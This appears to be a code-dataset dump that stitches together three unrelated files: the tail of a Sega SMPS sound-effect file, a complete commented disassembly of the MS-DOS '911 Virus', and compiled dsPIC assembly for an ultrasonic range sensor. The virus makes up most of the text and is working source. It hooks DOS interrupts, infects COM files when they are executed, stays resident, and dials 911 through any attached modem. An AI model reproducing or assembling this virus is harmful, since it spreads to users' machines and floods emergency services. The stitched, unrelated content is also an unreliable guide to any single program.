smpsHeaderVoice Sound_AB_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cFM5, Sound_AB_FM5, $00, $00
; FM5 Data
Sound_AB_FM5:
smpsSpindashRev
smpsSetvoice $00
smpsModSet $01, $01, $1A, $01
dc.b nC5, $18, smpsNoAttack
smpsModSet $00, $00, $00, $00
dc.b $02
Sound_AB_Loop00:
dc.b smpsNoAttack, $02
smpsFMAlterVol $02
smpsLoop $00, $18, Sound_AB_Loop00
smpsResetSpindashRev
smpsStop
Sound_AB_Voices:
; Voice $00
; $34
; $00, $0C, $03, $09, $9F, $8F, $8C, $D5, $00, $00, $00, $00
; $00, $00, $00, $00, $0F, $0F, $0F, $0F, $00, $80, $1C, $80
smpsVcAlgorithm $04
smpsVcFeedback $06
smpsVcUnusedBits $00
smpsVcDetune $00, $00, $00, $00
smpsVcCoarseFreq $09, $03, $0C, $00
smpsVcRateScale $03, $02, $02, $02
smpsVcAttackRate $15, $0C, $0F, $1F
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $00, $00, $00, $00
smpsVcDecayRate2 $00, $00, $00, $00
smpsVcDecayLevel $00, $00, $00, $00
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $00, $1C, $00, $00
| 26.136364 | 62 | 0.618261 |
929c8eff5f9830ee172ecf50a96873e2478b6890 | 21,095 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.armag911.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.armag911.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.armag911.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;***************************************************************************
;* *
;* The 911 Virus *
;* (An "Armagedon the Greek" Variant) *
;* Caution! This Virus Will Dial 911 On Computers Equipped With A Modem! *
;*Dial is controlled off of the new INT 08 handler when virus goes TSR. *
;*Examine the way the virus goes memory resident using INT 27, this is an *
;*interesting method that I had not seen before in a virus. Also, look *
;*at its rather strange procedure for infecting files. *
;* *
;* Disassembly by Black Wolf *
;* *
;***************************************************************************
.model tiny ;Sets assembler into Tiny mode
.radix 16 ;Sets numbers to hexidecimal
.code
org 100
;**************************************************************************
;* Loading Jump *
;**************************************************************************
start:
jmp Virus_Entry
;**************************************************************************
;**************************************************************************
;* This is where the infected file would usually be. *
;**************************************************************************
;**************************************************************************
;**************************************************************************
;* Int 21 Handler *
;**************************************************************************
Int_21:
pushf
cmp ah,0E0 ;Is this an installation check?
jne not_check ;If not, go to not_check
mov ax,0DADA ;If so, return 0DADA
popf ;and exit interrupt.
iret
not_check:
cmp ah,0E1 ;0E1=request for virus' seg. address
jne not_seg_req ;Not E1? then go to not_seg_req
mov ax,cs ;Move virus' address into AX
popf ;and exit interrupt.
iret
not_seg_req:
cmp ax,4B00 ;Load and Execute?
je Infect ;Go Infect
Go_Int_21:
popf
; jmp dword ptr cs:[Int_21_Off]
db 2e,0ff,2e,22,01 ;Jump to Int 21 (done)
;**************************************************************************
;****************************************************************************
;* Main Data Section *
;****************************************************************************
Int_21_Off dw 138dh
Int_21_Seg dw 029a
Int_08_Off dw 022Bh
Int_08_Seg dw 70
Ready_Byte db 0
Timing_Counter db 8
save_time_a db 10
save_time_b db 9
save_date db 34
Bytes_Written dw 0
waste_byte db 0
Character_Count db 0
Data_Ready db 0
Ports_Initialized db 0
com db 'COM'
handle dw 5
file_size dw 2
db 0, 0
mem_allocated dw 1301
save_ss dw 12AC
save_sp dw 0FFFE
filename_seg dw 9B70
filename_off dw 3D5Bh
attribs dw 20
file_date dw 0EC2
file_time dw 6E68
db 0,0,81,0
cs_save_3 dw 12AC
db 5C,0
cs_save_1 dw 12AC
db 6C,0
cs_save_2 dw 12AC
;****************************************************************************
Infect:
push ds bx si cx ax dx bp es di ;Save Registers
cld ;Clear direction
push dx ds ;Save Filename Address
xor cx,cx ;Zero CX for use as counter
mov si,dx ;Move Filename Offset to SI
Find_End_Of_Filename:
mov al,[si] ;Get letter from Filename
cmp al,0 ;Are we at the end of the
je Check_Filename ;Filename? Yes? Go to loc_7
inc cx ;inc Count
inc si ;inc pointer to next char
jmp short Find_End_Of_Filename
Check_Filename:
add dx,cx ;add filename length to
;start of filename address
sub dx,3 ;Subtract 3 for extension
mov si,offset com ;com='COM'
mov di,dx ;set di=dx to Check
;Next few lines Check for
;Command.Com
cmp byte ptr [di-3],4E ;Is the second to last letter
;an 'N'?
jne setup_check ;If not, it's not COMMAND,
;Go to loc_8
cmp byte ptr [di-2],44 ;Is the last letter a 'D'?
je Infect_Error ;If so, it is COMMAND,
;Go to Infect_Error.
setup_check:
mov cx,3 ;Setup loop
check_if_com:
mov al,cs:[si]
cmp al,[di]
jne Infect_Error
inc si ;Check for 'COM' Extension
inc di ;If so, infect, otherwise
loop check_if_com ;Go to Infect_Error
pop ds
pop dx ;Restore original filename
push dx ;address to DS:DX, then
push ds ;push them back onto stack
mov si,dx
mov dl,0
cmp byte ptr [si+1],3A ;Is the second letter a
; ':'? I.E. is the file on
;another drive?
jne Get_Free_Disk_Space ;Nope? Go Get_Free_Disk_Space
mov dl,[si] ;Get drive number if the file
and dl,0F ;is on another drive.
Get_Free_Disk_Space:
mov ah,36
int 21h ;Get free drive space.
;DL=drive
cmp ax,0FFFF
je Infect_Error
jmp short Continue_Infect
nop
Infect_Error:
jmp Pop_And_Quit_Infect
jmp End_Infect
Error_After_Open:
jmp Close_File
jmp Reset_DTA
Continue_Infect:
cmp bx,3 ;If there are less than 3
jb Infect_Error ;clusters free, quit.
pop ds ;DS:DX is filename address
pop dx ;again.
push ds
push dx
mov word ptr cs:[filename_seg],ds ;Save DS:DX again
mov word ptr cs:[filename_off],dx
mov ax,4300
int 21 ;Get the file attributes
mov word ptr cs:[attribs],cx ;Store attributes
mov ax,4301
xor cx,cx ;Set attributes to zero
int 21 ;to insure write access.
mov bx,0FFFF
mov ah,48 ;Allocate all free memory
int 21 ;by trying to allocate more
;than the computer possibly can,
mov ah,48 ;then using the returned number
int 21 ;(free mem) as the amount to
;request.
mov word ptr cs:[mem_allocated],ax ;save the segment of
;allocated memory
mov ax,cs ;point ds to cs
mov ds,ax
mov dx,offset new_DTA
mov ah,1A
int 21 ;Set DTA to memory after virus
pop dx
pop ds
mov ax,3D02
clc ;clear carry (unneccessary)
int 21 ;Open file for read/write access
jc Error_After_Open ;on error go to
;Error_After_Open
mov bx,ax ;move handle to bx
mov word ptr cs:[handle],ax ;save file handle
mov cx,0FFFF
mov ax,word ptr cs:[mem_allocated] ;Get segment of
;memory to use
mov ds,ax ;point ds to it
mov dx,end_main_virus-start
mov ah,3F
clc ;clear carry
int 21 ;Read 0ffff byte from file
jc Error_After_Open ;If error go to
;Error_After_Open
mov word ptr cs:[file_size],ax ;save file size
;(number of bytes read)
cmp ax,0E000
ja Error_After_Open ;File is too large, go to
;Error_After_Open
cmp ax,end_main_virus-start ;Is file smaller than virus?
jb Not_Infected ;Yes, therefore it isn't
;infected, goto Not_Infected
mov si,offset (end_main_virus+1-100)
add si,si ;Set SI to point to area where
sub si,15 ;the text message would be if
;file is already infected.
mov cx,13 ;Length of Text_Message
mov di,offset Text_Message ;("Support Your Police")
Check_For_Infection:
mov al,byte ptr [si] ;This loop checks for the text
mov ah,cs:byte ptr [di] ;message in the file being
cmp ah,al ;examined. If it's there, it
jne Not_Infected ;jumps to Close_File,
inc si ;otherwise it jumps to Not_Infected
inc di
loop Check_For_Infection
jmp short Close_File
nop
Not_Infected:
mov ax,4200
mov bx,word ptr cs:[handle]
xor cx,cx
mov dx,cx
int 21 ;Move to beginning of file
jc Close_File
mov si,100
mov cx,offset (end_main_virus-100)
xor di,di
mov ax,word ptr cs:[mem_allocated]
mov ds,ax
Copy_Virus:
mov al,cs:[si] ;Copy virus onto file in
mov [di],al ;memory. "repnz movsw"
inc si ;would've worked a lot
inc di ;better.
loop Copy_Virus
mov ax,5700
mov bx,word ptr cs:[handle]
int 21 ;Get File Date/Time
mov word ptr cs:[file_time],cx ;Save File Time
mov word ptr cs:[file_date],dx ;Save File Date
mov ax,word ptr cs:[mem_allocated]
mov ds,ax
mov si,offset (end_main_virus-100)
mov al,[si] ;encrypt first storage
add al,0Bh ;byte.
mov [si],al
xor dx,dx
mov cx,word ptr cs:[file_size] ;Calculate new file size
add cx,offset end_main_virus-100 ;(add virus size)
mov bx,word ptr cs:[handle]
mov ah,40
int 21 ;Rewrite file
mov word ptr cx,cs:[file_time]
mov word ptr dx,cs:[file_date]
mov bx,word ptr cs:[handle]
mov ax,5701
int 21 ;Restore File Time
Close_File:
mov bx,word ptr cs:[handle]
mov ah,3E
int 21 ;Close File
push cs
pop ds
Reset_DTA:
mov dx,80
mov ah,1A
int 21 ;Reset DTA to default
mov ax,word ptr cs:[mem_allocated]
mov es,ax
mov ah,49
int 21 ;Release Allocated Memory
mov ax,word ptr cs:[filename_seg]
mov ds,ax
mov dx,word ptr cs:[filename_off]
mov ax,4301
mov cx,word ptr cs:[attribs]
int 21 ;Restore File Date/Time
jmp short End_Infect
nop
Pop_And_Quit_Infect:
pop ds
pop dx
jmp short End_Infect
nop
End_Infect:
pop di es bp dx ax cx si bx ds
jmp Go_Int_21
;************************************************************************
;* Timer Click (INT 8) Handler *
;* This is Used to Dial Numbers *
;************************************************************************
Int_08:
push bp ds es ax bx cx dx si di
pushf ;Push flags
;call word ptr cs:[Int_08_Off] ;Run old timer click
db 2e,0ff,1e,26,01
call Timing_Routine
push cs
pop ds
mov ah,5
mov ch,byte ptr [save_time_a]
cmp ah,ch
ja Quit_Int_08
;if [save_time_a] !=6, quit.
mov ah,6
cmp ah,ch
jb Quit_Int_08
mov ah,byte ptr [Ready_Byte]
cmp ah,1
je Go_Dial
mov ah,1
mov byte ptr [Ready_Byte],ah
jmp short Quit_Int_08
nop
Go_Dial:
call Write_Ports
inc word ptr [Bytes_Written]
mov ax,word ptr [Bytes_Written]
cmp ax,21C
jne Quit_Int_08
xor ax,ax ;Reset Counters
mov byte ptr [Ready_Byte],ah
mov word ptr [Bytes_Written],ax
mov byte ptr [Data_Ready],ah
Quit_Int_08:
pop di si dx cx bx ax es ds bp
iret
;****************************************************************************
;* Timing Routine For Dialing *
;****************************************************************************
Timing_Routine:
push cs
pop ds
xor al,al
mov ah,byte ptr [Timing_Counter]
cmp ah,11
jne Inc_Time_Count
mov ah,byte ptr [save_date]
cmp ah,3bh
jne Inc_Saved_Date
mov ah,byte ptr [save_time_b]
cmp ah,3bh
jne Inc_S_T_B
mov ah,byte ptr [save_time_a]
cmp ah,17
jne Inc_S_T_A
mov byte ptr [save_time_a],al
Save_T_B:
mov byte ptr [save_time_b],al
Store_Save_Date:
mov byte ptr [save_date],al
Time_Count:
mov byte ptr [Timing_Counter],al
ret
Inc_Time_Count:
inc byte ptr [Timing_Counter]
ret
Inc_Saved_Date:
inc byte ptr [save_date]
jmp short Time_Count
Inc_S_T_B:
inc byte ptr [save_time_b]
jmp short Store_Save_Date
Inc_S_T_A:
inc byte ptr [save_time_a]
jmp short Save_T_B
dial_string db '+++aTh0m0s7=35dp911,,,,,,,' ;Dial string To call
;911 and wait
;****************************************************************************
;* Write Data to Com Ports *
;****************************************************************************
Write_Ports:
mov al,byte ptr [Data_Ready]
cmp al,1
je Ret_Write_Ports ; Jump if equal
mov al,byte ptr [Ports_Initialized] ;Have Ports been
cmp al,1 ;Initialized yet?
je Already_Initialized
mov cx,3
Init_Ports:
mov dx,cx
xor ah,ah
mov al,83 ;Init Comport
int 14 ;1200 Baud, No Parity,
;1 Stop Bit, 8 bit Word Len.
loop Init_Ports ;Initalize all Ports 1-4
mov al,1
mov byte ptr [Ports_Initialized],al
jmp short Ret_Write_Ports
nop
Already_Initialized:
push cs
pop ds
mov si,offset dial_string
mov al,byte ptr [Character_Count]
cmp al,1A
jne Write_From_SI_To_Ports
jmp short Setup_write
nop
Write_From_SI_To_Ports:
xor ah,ah
add si,ax
mov al,[si]
mov dx,3F8 ;Outport from SI to standard
out dx,al ;addresses of ports 1-4
mov dx,2F8 ;and increment character count
out dx,al
mov dx,2E8
out dx,al
mov dx,3E8
out dx,al
inc byte ptr [Character_Count]
jmp short Ret_Write_Ports
nop
Setup_write:
mov cx,3
Write_To_All_Ports:
mov dx,cx
mov al,0dh
mov ah,1
int 14 ;Write a 1 to all ports
loop Write_To_All_Ports
mov ax,1
mov byte ptr [Data_Ready],al
mov byte ptr [Character_Count],ah
mov byte ptr [Ports_Initialized],ah
Ret_Write_Ports:
ret
;****************************************************************************
; Virus Entry Point
;****************************************************************************
Virus_Entry:
mov ah,0e0
int 21 ;Check for Installation
cmp ax,0dada ;Was it installed?
jne Install_Virus ;No? Then install it.
jmp Already_Installed ;Yes? Go to Already_Installed
Install_Virus:
push cs
pop ds
mov ax,3521 ;Get Int 21 Address
int 21
mov word ptr [Int_21_Off],bx ;Save old Int 21
mov word ptr [Int_21_Seg],es ;Vector
mov dx,offset Int_21
mov ax,2521
int 21 ;Set Int 21
mov ax,3508
int 21 ;Get Int 8 Address
mov word ptr [Int_08_Off],bx
mov word ptr [Int_08_Seg],es ;Save old Vectors
mov dx,offset Int_08
mov ax,2508
int 21 ;Set Int 08
mov ah,2C
int 21 ;Get Time
mov byte ptr [save_time_a],ch
mov byte ptr [save_time_b],cl ;Save Time and Date
mov byte ptr [save_date],dh
mov ax,cs:[2c] ;Get environment block
mov ds,ax ;address and put it in DS
xor si,si ;DS:SI=beginning of Env. B.
Find_The_Filename:
mov al,[si] ;Search through environment
cmp al,1 ;block for program executed.
je Found_Filename
inc si
jmp short Find_The_Filename
Found_Filename:
inc si
inc si
mov dx,si ;DS:DX = Filename
mov ax,cs
mov es,ax ;Set segment (ES) = CS
mov bx,5a ;Request 5a0h (1440 dec) bytes
mov ah,4a
int 21 ;Change Allocated Memory
mov bx,word ptr cs:[81] ;Beginning of Command Line
mov ax,cs
mov es,ax ;set ES=CS again.
mov word ptr cs:[cs_save_1],ax
mov word ptr cs:[cs_save_2],ax ;Re-Execute program
mov word ptr cs:[cs_save_3],ax ;To make Int 27 cause
mov ax,4B00 ;program to go mem-res
mov word ptr cs:[save_ss],ss ;without terminating
mov word ptr cs:[save_sp],sp ;regular program.
pushf
;call far cs:[Int_21_Off] ;Call Load and Execute
db 2e,0ff,1e,22,01
mov ax,word ptr cs:[save_ss]
mov ss,ax
mov ax,word ptr cs:[save_sp] ;Restore Stack
mov sp,ax
mov ax,cs
mov ds,ax
mov dx,537 ;DX=End of virus
int 27 ;Terminate & stay resident
Already_Installed:
mov ah,0E1 ;Get CS of virus in memory
int 21
mov si,offset Install_Jump
mov cs:[si+3],ax ;Setup Jump
mov ax,offset After_Jump
mov cs:[si+1],ax
mov ax,word ptr cs:[file_size]
mov bx,cs
Install_Jump:
db 0ea
IP_For_Jump db 0,0
CS_For_Jump db 0,0
After_Jump:
mov cx,ax
mov ds,bx
mov si,100
mov di,offset storage_bytes
Restore_File: ;Restore File in memory
mov al,[di]
mov [si],al
inc si
inc di
loop Restore_File
mov si,offset return_jump
mov cs:[si+3],ds ;set host segment
mov al,byte ptr ds:[100] ;Get first byte of host,
sub al,0bh ;then unencrypt first byte
mov byte ptr ds:[100],al ;of Storage_Bytes
mov ax,ds ;and restore it
mov es,ax ;restore ES and SS to point
mov ss,ax ;to DS/CS
;* jmp far ptr start ;Return control to COM file
return_jump:
db 0ea
host_offset db 00,01
host_segment db 07,13
Text_Message db 'Support Your Police'
end_main_virus:
Storage_Bytes db 0D8,20 ;First Byte Encrypted
end_of_vir:
word_space db 8 dup (?)
new_DTA :
end start
| 32.858255 | 83 | 0.446551 |
6d2240257603a3c2adc97b2d68866f1e97a67bcb | 13,516 | asm | Assembly | mikroC/DisUSART/project.asm | chen0040/cs-dspic-ultrasonic | 0f9fde891cf66f480bb4a89e016da671c28d77e4 | [
"MIT"
] | null | null | null | mikroC/DisUSART/project.asm | chen0040/cs-dspic-ultrasonic | 0f9fde891cf66f480bb4a89e016da671c28d77e4 | [
"MIT"
] | null | null | null | mikroC/DisUSART/project.asm | chen0040/cs-dspic-ultrasonic | 0f9fde891cf66f480bb4a89e016da671c28d77e4 | [
"MIT"
] | null | null | null |
_MySoft_UART_Write:
;project.c,9 :: void MySoft_UART_Write(char* message)
;project.c,11 :: MySoftUSARTWrite_MessageLen=strlen(message);
CALL _strlen
MOV W0, _MySoftUSARTWrite_MessageLen
;project.c,12 :: for(MySoftUSARTWrite_MessageIdx=0; MySoftUSARTWrite_MessageIdx < MySoftUSARTWrite_MessageLen; MySoftUSARTWrite_MessageIdx++)
CLR W0
MOV W0, _MySoftUSARTWrite_MessageIdx
L_MySoft_UART_Write0:
MOV _MySoftUSARTWrite_MessageIdx, W1
MOV #lo_addr(_MySoftUSARTWrite_MessageLen), W0
CP W1, [W0]
BRA LT L__MySoft_UART_Write70
GOTO L_MySoft_UART_Write1
L__MySoft_UART_Write70:
;project.c,14 :: Soft_UART_Write(message[MySoftUSARTWrite_MessageIdx]);
MOV #lo_addr(_MySoftUSARTWrite_MessageIdx), W0
ADD W10, [W0], W0
PUSH W10
MOV.B [W0], W10
CALL _Soft_UART_Write
POP W10
;project.c,12 :: for(MySoftUSARTWrite_MessageIdx=0; MySoftUSARTWrite_MessageIdx < MySoftUSARTWrite_MessageLen; MySoftUSARTWrite_MessageIdx++)
MOV #1, W1
MOV #lo_addr(_MySoftUSARTWrite_MessageIdx), W0
ADD W1, [W0], [W0]
;project.c,15 :: }
GOTO L_MySoft_UART_Write0
L_MySoft_UART_Write1:
;project.c,16 :: }
L_end_MySoft_UART_Write:
RETURN
; end of _MySoft_UART_Write
_Timer1Int:
PUSH RCOUNT
PUSH W0
MOV #2, W0
REPEAT #12
PUSH [W0++]
;project.c,18 :: void Timer1Int() iv IVT_ADDR_T1INTERRUPT { // Timer interrupt, sample with 40kHz
;project.c,19 :: LATC = ~PORTC; // invert PortC for generating signal
MOV #lo_addr(LATC), W1
MOV PORTC, WREG
COM W0, [W1]
;project.c,20 :: IFS0.T1IF = 0; // clear interrupt flag
BCLR IFS0, #3
;project.c,21 :: }
L_end_Timer1Int:
MOV #26, W0
REPEAT #12
POP [W0--]
POP W0
POP RCOUNT
RETFIE
; end of _Timer1Int
_InitPort:
;project.c,23 :: void InitPort(void) { // function for initialization of I/O PORTS
;project.c,24 :: ADPCFG = 0xFEFF; // Configure AN pins as digital except PinB8
MOV #65279, W0
MOV WREG, ADPCFG
;project.c,25 :: TRISC = 0x0000; // set PORTC as output
CLR TRISC
;project.c,26 :: PORTC = 0x2000; // default value of PORTC
MOV #8192, W0
MOV WREG, PORTC
;project.c,27 :: TRISB.B8 = 1; // set PinB8 as input
BSET TRISB, #8
;project.c,28 :: }
L_end_InitPort:
RETURN
; end of _InitPort
_InitTimer:
;project.c,30 :: void InitTimer(void) { // Initialization of Timer1
;project.c,31 :: T1CON.B5 = 0; // prescaler 1:1
BCLR T1CON, #5
;project.c,32 :: T1CON.B4 = 0;
BCLR T1CON, #4
;project.c,33 :: PR1 = (unsigned long)(Get_Fosc_kHz()) * 1000 / (8 * SAMPLE_FREQ);
CALL _Get_Fosc_kHz
MOV #1000, W2
MOV #0, W3
CALL __Multiply_32x32
MOV #57856, W2
MOV #4, W3
CLR W4
CALL __Divide_32x32
MOV W0, PR1
;project.c,34 :: TON_bit = 1; // start Timer1
BSET TON_bit, #15
;project.c,35 :: }
L_end_InitTimer:
RETURN
; end of _InitTimer
_InitDelay:
;project.c,37 :: void InitDelay(void) { // Initialization of Timer2
;project.c,38 :: T2CON.B5 = 0; // prescaler 1:8
BCLR T2CON, #5
;project.c,39 :: T2CON.B4 = 1;
BSET T2CON, #4
;project.c,40 :: TMR2 = 0x0000; // Initial value of TMR2 register
CLR TMR2
;project.c,41 :: T2CON.TON = 1; // start Timer2
BSET T2CON, #15
;project.c,42 :: }
L_end_InitDelay:
RETURN
; end of _InitDelay
_InitADC:
;project.c,44 :: void InitADC(void) { // Initialization of ADC module
;project.c,45 :: ADC1_Init();
CALL _ADC1_Init
;project.c,46 :: }
L_end_InitADC:
RETURN
; end of _InitADC
_InitVariable:
;project.c,48 :: void InitVariable(void) { // setting initial values
;project.c,49 :: abc = 0;
CLR W0
MOV W0, _abc
;project.c,50 :: temp_old = 0;
CLR W0
MOV W0, _temp_old
;project.c,51 :: distance = 0;
CLR W0
MOV W0, _distance
;project.c,52 :: }
L_end_InitVariable:
RETURN
; end of _InitVariable
_InitUSART:
;project.c,54 :: void InitUSART(void) { // Initialization of UART1
;project.c,55 :: TRISD = 0; // Set PORTD as output (error signalization)
PUSH W10
PUSH W11
PUSH W12
CLR TRISD
;project.c,56 :: LATD = 0;
CLR LATD
;project.c,58 :: error = Soft_UART_Init(&PORTF, 2, 3, 14400, 0); // Initialize Soft UART at 14400 bps
MOV #3, W12
MOV #2, W11
MOV #lo_addr(PORTF), W10
CLR W0
PUSH W0
MOV #14400, W0
MOV #0, W1
PUSH.D W0
CALL _Soft_UART_Init
SUB #6, W15
MOV #lo_addr(_error), W1
MOV.B W0, [W1]
;project.c,59 :: if (error > 0) {
CP.B W0, #0
BRA GTU L__InitUSART78
GOTO L_InitUSART3
L__InitUSART78:
;project.c,60 :: LATD = error; // Signalize Init error
MOV #lo_addr(_error), W0
ZE [W0], W0
MOV WREG, LATD
;project.c,61 :: while(1); // Stop program
L_InitUSART4:
GOTO L_InitUSART4
;project.c,62 :: }
L_InitUSART3:
;project.c,63 :: Delay_ms(100);
MOV #11, W8
MOV #11309, W7
L_InitUSART6:
DEC W7
BRA NZ L_InitUSART6
DEC W8
BRA NZ L_InitUSART6
;project.c,64 :: }
L_end_InitUSART:
POP W12
POP W11
POP W10
RETURN
; end of _InitUSART
_main:
MOV #2048, W15
MOV #6142, W0
MOV WREG, 32
MOV #1, W0
MOV WREG, 52
MOV #4, W0
IOR 68
LNK #16
PUSH W4
PUSH W3
;project.c,66 :: void main() { // Main Program
;project.c,68 :: InitPort(); // Initialization
PUSH W10
PUSH W11
CALL _InitPort
;project.c,69 :: InitTimer();
CALL _InitTimer
;project.c,70 :: InitADC();
CALL _InitADC
;project.c,71 :: InitUSART();
CALL _InitUSART
;project.c,73 :: while(1) { // Unending loop
L_main8:
;project.c,76 :: IEC0.T1IE = 1; // enable T1 interrupt
BSET IEC0, #3
;project.c,77 :: Delay_us(100); // Software PWM lasts 300us
MOV #666, W7
L_main10:
DEC W7
BRA NZ L_main10
NOP
NOP
;project.c,78 :: IEC0.T1IE = 0; // disable T1 interrupt
BCLR IEC0, #3
;project.c,81 :: Delay_ms(1); // wait 1ms so piezzo sattles down
MOV #6666, W7
L_main12:
DEC W7
BRA NZ L_main12
NOP
NOP
;project.c,83 :: InitDelay(); // Start/initialize Timer2 to count Delay
CALL _InitDelay
;project.c,85 :: temp = ADC1_Get_Sample(8); // get first two samples
MOV #8, W10
CALL _ADC1_Get_Sample
MOV W0, _temp
;project.c,86 :: Delay_us(1);
MOV #6, W7
L_main14:
DEC W7
BRA NZ L_main14
NOP
NOP
;project.c,87 :: temp_sec = ADC1_Get_Sample(8);
MOV #8, W10
CALL _ADC1_Get_Sample
MOV W0, _temp_sec
;project.c,89 :: InitVariable(); // Initialization of Variables
CALL _InitVariable
;project.c,91 :: while (temp > temp_sec) { // check if returned wave is uprising
L_main16:
MOV _temp, W1
MOV #lo_addr(_temp_sec), W0
CP W1, [W0]
BRA GTU L__main80
GOTO L_main17
L__main80:
;project.c,92 :: Delay_us(10); // if not check again in 10us
MOV #66, W7
L_main18:
DEC W7
BRA NZ L_main18
NOP
NOP
;project.c,93 :: temp = ADC1_Get_Sample(8);
MOV #8, W10
CALL _ADC1_Get_Sample
MOV W0, _temp
;project.c,94 :: Delay_us(1);
MOV #6, W7
L_main20:
DEC W7
BRA NZ L_main20
NOP
NOP
;project.c,95 :: temp_sec = ADC1_Get_Sample(8);
MOV #8, W10
CALL _ADC1_Get_Sample
MOV W0, _temp_sec
;project.c,96 :: }
GOTO L_main16
L_main17:
;project.c,98 :: while(abc < 1000) { // Measure in lenght of 250ms
L_main22:
MOV _abc, W1
MOV #1000, W0
CP W1, W0
BRA LT L__main81
GOTO L_main23
L__main81:
;project.c,99 :: temp = ADC1_Get_Sample(8); // get sample
MOV #8, W10
CALL _ADC1_Get_Sample
MOV W0, _temp
;project.c,100 :: if (temp > temp_old) { // if new value is bigger then old
MOV #lo_addr(_temp_old), W1
CP W0, [W1]
BRA GTU L__main82
GOTO L_main24
L__main82:
;project.c,101 :: temp_old = temp; // set value of ADC into temporary variable
MOV _temp, W0
MOV W0, _temp_old
;project.c,102 :: time = TMR2; // remember time when value was measured
MOV TMR2, WREG
MOV W0, _time
;project.c,103 :: }
L_main24:
;project.c,104 :: abc++;
MOV #1, W1
MOV #lo_addr(_abc), W0
ADD W1, [W0], [W0]
;project.c,105 :: Delay_us(50);
MOV #333, W7
L_main25:
DEC W7
BRA NZ L_main25
NOP
;project.c,106 :: }
GOTO L_main22
L_main23:
;project.c,107 :: T2CON.TON = 0; // Stop Timer2
BCLR T2CON, #15
;project.c,109 :: if (time < 0) // absolute value of time
MOV _time, W0
CP W0, #0
BRA LTU L__main83
GOTO L_main27
L__main83:
;project.c,110 :: time = - time;
MOV _time, W1
MOV #lo_addr(_time), W0
SUBR W1, #0, [W0]
L_main27:
;project.c,113 :: if (time < 600)
MOV _time, W1
MOV #600, W0
CP W1, W0
BRA LTU L__main84
GOTO L_main28
L__main84:
;project.c,114 :: distance = time / 40; // 40
MOV #40, W2
MOV _time, W0
REPEAT #17
DIV.U W0, W2
MOV W0, _distance
GOTO L_main29
L_main28:
;project.c,115 :: else if ((time > 599) && (time < 1200))
MOV _time, W1
MOV #599, W0
CP W1, W0
BRA GTU L__main85
GOTO L__main60
L__main85:
MOV _time, W1
MOV #1200, W0
CP W1, W0
BRA LTU L__main86
GOTO L__main59
L__main86:
L__main58:
;project.c,116 :: distance = time / 60; // 60
MOV #60, W2
MOV _time, W0
REPEAT #17
DIV.U W0, W2
MOV W0, _distance
GOTO L_main33
;project.c,115 :: else if ((time > 599) && (time < 1200))
L__main60:
L__main59:
;project.c,117 :: else if ((time > 1199) && (time < 2800))
MOV _time, W1
MOV #1199, W0
CP W1, W0
BRA GTU L__main87
GOTO L__main62
L__main87:
MOV _time, W1
MOV #2800, W0
CP W1, W0
BRA LTU L__main88
GOTO L__main61
L__main88:
L__main57:
;project.c,118 :: distance = time / 90; // 90
MOV #90, W2
MOV _time, W0
REPEAT #17
DIV.U W0, W2
MOV W0, _distance
GOTO L_main37
;project.c,117 :: else if ((time > 1199) && (time < 2800))
L__main62:
L__main61:
;project.c,119 :: else if ((time > 2799) && (time < 7200))
MOV _time, W1
MOV #2799, W0
CP W1, W0
BRA GTU L__main89
GOTO L__main64
L__main89:
MOV _time, W1
MOV #7200, W0
CP W1, W0
BRA LTU L__main90
GOTO L__main63
L__main90:
L__main56:
;project.c,120 :: distance = time / 110; // 110
MOV #110, W2
MOV _time, W0
REPEAT #17
DIV.U W0, W2
MOV W0, _distance
GOTO L_main41
;project.c,119 :: else if ((time > 2799) && (time < 7200))
L__main64:
L__main63:
;project.c,121 :: else if ((time > 7199) && (time < 20000))
MOV _time, W1
MOV #7199, W0
CP W1, W0
BRA GTU L__main91
GOTO L__main66
L__main91:
MOV _time, W1
MOV #20000, W0
CP W1, W0
BRA LTU L__main92
GOTO L__main65
L__main92:
L__main55:
;project.c,122 :: distance = time / 125; // 125
MOV #125, W2
MOV _time, W0
REPEAT #17
DIV.U W0, W2
MOV W0, _distance
GOTO L_main45
;project.c,121 :: else if ((time > 7199) && (time < 20000))
L__main66:
L__main65:
;project.c,123 :: else if ((time > 19999) && (time < 35000))
MOV _time, W1
MOV #19999, W0
CP W1, W0
BRA GTU L__main93
GOTO L__main68
L__main93:
MOV _time, W1
MOV #35000, W0
CP W1, W0
BRA LTU L__main94
GOTO L__main67
L__main94:
L__main54:
;project.c,124 :: distance = time / 135; // 135
MOV #135, W2
MOV _time, W0
REPEAT #17
DIV.U W0, W2
MOV W0, _distance
GOTO L_main49
;project.c,123 :: else if ((time > 19999) && (time < 35000))
L__main68:
L__main67:
;project.c,126 :: distance = 0;
CLR W0
MOV W0, _distance
L_main49:
L_main45:
L_main41:
L_main37:
L_main33:
L_main29:
;project.c,128 :: if (distance == 0) { // if distance is 0 the object is too far
MOV _distance, W0
CP W0, #0
BRA Z L__main95
GOTO L_main50
L__main95:
;project.c,129 :: MySoft_UART_Write("Too Far");
ADD W14, #0, W3
MOV #___Lib_System_DefaultPage, W4
MOV W4, 52
MOV #lo_addr(?ICS?lstr1_project), W4
REPEAT #7
MOV.B [W4++], [W3++]
ADD W14, #0, W0
MOV W0, W10
CALL _MySoft_UART_Write
;project.c,130 :: MySoft_UART_Write("|");
MOV #124, W3
MOV.B W3, [W14+8]
MOV #0, W3
MOV.B W3, [W14+9]
ADD W14, #8, W0
MOV W0, W10
CALL _MySoft_UART_Write
;project.c,131 :: }
GOTO L_main51
L_main50:
;project.c,133 :: IntToStr(distance, txt); // converts time into string
MOV #lo_addr(_txt), W11
MOV _distance, W10
CALL _IntToStr
;project.c,134 :: MySoft_UART_Write(txt);
MOV #lo_addr(_txt), W10
CALL _MySoft_UART_Write
;project.c,135 :: MySoft_UART_Write (" cm"); // send value over UART
MOV #32, W3
